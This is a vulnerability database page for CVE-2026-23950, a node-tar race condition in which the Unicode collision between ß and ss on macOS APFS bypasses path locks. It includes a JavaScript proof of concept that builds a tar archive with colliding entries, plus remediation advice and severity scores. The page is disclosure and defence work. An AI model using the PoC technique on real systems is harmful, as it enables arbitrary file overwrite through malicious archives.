Staging Environment: Content and features may be unstable or change without notice.
Search for vulnerabilities
Vulnerability details: VCID-5wr3-7131-u3aa
Vulnerability ID VCID-5wr3-7131-u3aa
Aliases CVE-2026-23950
GHSA-r6q2-hw4h-h46w
Summary Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS **TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS **AUTHOR**: Tomás Illuminati ### Details A race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `ß` and `ss`), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently. ```typescript // node-tar/src/path-reservations.ts (Lines 53-62) reserve(paths: string[], fn: Handler) { paths = isWindows ? ['win32 parallelization disabled'] : paths.map(p => { return stripTrailingSlashes( join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS ).toLowerCase() }) ``` In MacOS the ```join(normalizeUnicode(p)), ``` FS confuses ß with ss, but this code does not. For example: ``````bash bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss bash-3.2$ ls collision_test_ss bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß bash-3.2$ ls -la total 8 drwxr-xr-x 3 testuser staff 96 Jan 19 01:25 . drwxr-x---+ 82 testuser staff 2624 Jan 19 01:25 .. -rw-r--r-- 1 testuser staff 16 Jan 19 01:26 collision_test_ss bash-3.2$ `````` --- ### PoC ``````javascript const tar = require('tar'); const fs = require('fs'); const path = require('path'); const { PassThrough } = require('stream'); const exploitDir = path.resolve('race_exploit_dir'); if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true }); fs.mkdirSync(exploitDir); console.log('[*] Testing...'); console.log(`[*] Extraction target: ${exploitDir}`); // Construct stream const stream = new PassThrough(); const contentA = 'A'.repeat(1000); const contentB = 'B'.repeat(1000); // Key 1: "f_ss" const header1 = new tar.Header({ path: 'collision_ss', mode: 0o644, size: contentA.length, }); header1.encode(); // Key 2: "f_ß" const header2 = new tar.Header({ path: 'collision_ß', mode: 0o644, size: contentB.length, }); header2.encode(); // Write to stream stream.write(header1.block); stream.write(contentA); stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding stream.write(header2.block); stream.write(contentB); stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding // End stream.write(Buffer.alloc(1024)); stream.end(); // Extract const extract = new tar.Unpack({ cwd: exploitDir, // Ensure jobs is high enough to allow parallel processing if locks fail jobs: 8 }); stream.pipe(extract); extract.on('end', () => { console.log('[*] Extraction complete'); // Check what exists const files = fs.readdirSync(exploitDir); console.log('[*] Files in exploit dir:', files); files.forEach(f => { const p = path.join(exploitDir, f); const stat = fs.statSync(p); const content = fs.readFileSync(p, 'utf8'); console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`); }); if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) { console.log('\[*] GOOD'); } else { console.log('[-] No collision'); } }); `````` --- ### Impact This is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `ß` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `ß` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive. --- ### Remediation Update `path-reservations.js` to use a normalization form that matches the target filesystem's behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase('en')` and then `toLocaleUpperCase('en')`. Users who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue. ---
Status Published
Exploitability 0.5
Weighted Severity 8.0
Risk 4.0
Affected and Fixed Packages Package Details
Weaknesses (5)
System Score Found at
cvssv3 8.8 https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23950.json
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
epss 8e-05 https://api.first.org/data/v1/epss?cve=CVE-2026-23950
cvssv3.1_qr HIGH https://github.com/advisories/GHSA-r6q2-hw4h-h46w
cvssv3.1 8.8 https://github.com/isaacs/node-tar
generic_textual HIGH https://github.com/isaacs/node-tar
cvssv3.1 8.8 https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
generic_textual HIGH https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
ssvc Track https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
cvssv3.1 8.8 https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
cvssv3.1_qr HIGH https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
generic_textual HIGH https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
ssvc Track https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
cvssv3.1 8.8 https://nvd.nist.gov/vuln/detail/CVE-2026-23950
generic_textual HIGH https://nvd.nist.gov/vuln/detail/CVE-2026-23950
No exploits are available.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L Found at https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-23950.json
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L Found at https://github.com/isaacs/node-tar
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L Found at https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none


Vector: SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:15:29Z/ Found at https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L Found at https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none


Vector: SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-01-21T20:15:29Z/ Found at https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L Found at https://nvd.nist.gov/vuln/detail/CVE-2026-23950
Attack Vector (AV) Attack Complexity (AC) Privileges Required (PR) User Interaction (UI) Scope (S) Confidentiality Impact (C) Integrity Impact (I) Availability Impact (A)

network

adjacent_network

local

physical

low

high

none

low

high

none

required

unchanged

changed

high

low

none

high

low

none

high

low

none

Exploit Prediction Scoring System (EPSS)
Percentile 0.00667
EPSS Score 8e-05
Published At April 2, 2026, 12:55 p.m.
Date Actor Action Source VulnerableCode Version
2026-04-01T12:52:20.892057+00:00 GithubOSV Importer Import https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-r6q2-hw4h-h46w/GHSA-r6q2-hw4h-h46w.json 38.0.0